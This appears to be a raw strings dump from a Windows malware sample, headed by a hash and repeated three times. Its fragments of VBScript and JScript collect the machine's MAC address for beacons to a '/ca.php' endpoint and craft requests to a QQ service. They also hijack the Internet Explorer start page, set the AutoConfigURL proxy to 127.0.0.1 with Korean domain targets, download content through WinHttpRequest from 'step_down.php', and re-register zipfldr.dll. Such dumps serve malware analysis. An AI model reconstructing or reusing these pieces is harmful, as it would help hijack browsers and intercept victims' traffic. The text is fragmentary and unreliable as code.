00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ff

ScriptControl
Language
VBScript
ExecuteStatement
Function MACAddress()
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MACAddress= mo.MacAddress
Exit For
End If
Run
MACAddress
http://
/ca.php
?m=
&h;=
GET
?p
POST
users.qzone.qq.com
GET /fcg-bin/cgi_get_portrait.fcg?uins=
HTTP/1.1
Host: users.qzone.qq.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Date:
GMT
function lakwi(){var st = '
';var t2 = Date.parse(new Date(st))/1000;return t2;}
JScript
lakwi
Software\\Microsoft\\Internet Explorer\\Main\\Start Page
www.naver.com
0.0.0.0
.com.ows
.kr
.kr.ows
ET
step_down.php?key=9ea8e376b5cd1274
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Content-Length:
WinHttp.WinHttpRequest.5.1
Open
Send
responseBody
Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
http://127.0.0.1:
CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
AddCode
Applications\\zipfldr.dll\\NoOpenWith
regsvr32 /s zip
zip
Error
Sub run(ByVal A, ByVal B)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(B) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(A) Then
FType = "Folder"
ElseIf fso.FileExists(A) Then
Line
ConnId
ProxyId
ScriptControl
Language
VBScript
ExecuteStatement
Function MACAddress()
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MACAddress= mo.MacAddress
Exit For
End If
Run
MACAddress
http://
/ca.php
?m=
&h;=
GET
?p
POST
users.qzone.qq.com
GET /fcg-bin/cgi_get_portrait.fcg?uins=
HTTP/1.1
Host: users.qzone.qq.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Date:
GMT
function lakwi(){var st = '
';var t2 = Date.parse(new Date(st))/1000;return t2;}
JScript
lakwi
Software\\Microsoft\\Internet Explorer\\Main\\Start Page
www.naver.com
0.0.0.0
.com.ows
.kr
.kr.ows
ET
step_down.php?key=9ea8e376b5cd1274
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Content-Length:
WinHttp.WinHttpRequest.5.1
Open
Send
responseBody
Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
http://127.0.0.1:
CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
AddCode
Applications\\zipfldr.dll\\NoOpenWith
regsvr32 /s zipfldr.dll
zip
Error
Sub run(ByVal A, ByVal B)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(B) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(A) Then
FType = "Folder"
ElseIf fso.FileExists(A) Then
Line
ConnId
ProxyId
ScriptControl
Language
VBScript
ExecuteStatement
Function MACAddress()
Dim mc,mo
Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
For Each mo In mc
If mo.IPEnabled=True Then
MACAddress= mo.MacAddress
Exit For
End If
Run
MACAddress
http://
/ca.php
?m=
&h;=
GET
?p
POST
users.qzone.qq.com
GET /fcg-bin/cgi_get_portrait.fcg?uins=
HTTP/1.1
Host: users.qzone.qq.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36
Date:
GMT
function lakwi(){var st = '
';var t2 = Date.parse(new Date(st))/1000;return t2;}
JScript
lakwi
Software\\Microsoft\\Internet Explorer\\Main\\Start Page
www.naver.com
0.0.0.0
.com.ows
.kr
.kr.ows
ET
step_down.php?key=9ea8e376b5cd1274
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain
Content-Length:
WinHttp.WinHttpRequest.5.1
Open
Send
responseBody
Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
http://127.0.0.1:
CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
AddCode
Applications\\zipfldr.dll\\NoOpenWith
regsvr32 /s zipfldr.dll
zip
Error
Sub run(ByVal A, ByVal B)
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.GetExtensionName(B) <> "zip" Then
Exit Sub
ElseIf fso.FolderExists(A) Then
FType = "Folder"
ElseIf fso.FileExists(A) Then
Line
ConnId
ProxyId